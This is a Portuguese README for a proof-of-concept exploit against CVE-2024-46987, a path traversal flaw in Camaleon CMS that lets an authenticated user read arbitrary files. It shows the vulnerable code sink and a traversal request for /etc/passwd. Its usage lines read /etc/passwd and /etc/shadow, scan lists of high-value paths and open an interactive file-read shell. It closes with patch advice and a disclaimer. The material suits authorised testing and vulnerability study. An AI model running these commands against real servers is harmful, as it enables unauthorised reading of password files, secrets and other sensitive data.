
PoC exploit para CVE-2024-46987 — Camaleon CMS travessia arbitrária de caminho (leitura de arquivo)
| Campo | Detalhe |
|---|
| CVE | CVE-2024-46987 |
| Produto | Camaleon CMS |
| Versões | >= 2.8.0, < 2.8.2 (também confirmado na 2.9.0) |
| Tipo | Path Traversal / Leitura Arbitrária de Arquivos (CWE-22) |
| Autenticação | Obrigatória (qualquer conta de baixo privilégio) |
| CVSS | 7.7 Alto — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| Corrigido em | 2.8.2 |
MediaController#download_private_file passa params[:file] sem sanitização para fetch_file:
# Vulnerable sink
fetch_file("private/#{params[:file]}")
Nenhuma normalização de caminho é aplicada antes que o valor seja usado com send_file, permitindo que um atacante autenticado saia do diretório private/ usando sequências ../ e leia arquivos arbitrários aos quais o processo Rails tenha permissão de acesso.
Endpoint vulnerável:
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
requestspip3 install requests
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
# Single file
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
| Sinalizador | Descrição |
|---|---|
-u | URL base do alvo |
-U / -P | Nome de usuário e senha do CMS |
--cookie | String de cookie bruta (alternativa às credenciais) |
-f | Caminho do arquivo a ser lido (padrão: /etc/passwd) |
-d | Profundidade do traversal — número de ../ adicionados (padrão: 10) |
--interesting | Iterar sobre uma lista interna de caminhos de alto valor |
--interactive | Shell interativo de leitura de arquivos |
--no-verify | Desabilitar verificação do certificado TLS |
--debug | Saída verbosa para diagnosticar falhas de autenticação |
/procArquivos em /proc/self/ (por exemplo, environ, cmdline) retornam HTTP 200 mas com corpo vazio. Isso é esperado — o kernel reporta seu tamanho como 0, então o send_file do Rails não transmite nada. Use arquivos planos comuns como alternativa.
Atualize o Camaleon CMS para a versão 2.8.2 ou posterior. A correção adiciona normalização adequada de caminhos e garante que o caminho resolvido permaneça dentro do diretório pretendido antes de chamar send_file.
Alternativamente:
...Esta prova de conceito é publicada para fins educacionais e para auxiliar profissionais de segurança a entender e reproduzir a vulnerabilidade em ambientes de teste autorizados. O autor não é responsável por qualquer uso indevido. Sempre obtenha permissão explícita por escrito antes de testar sistemas que você não possui.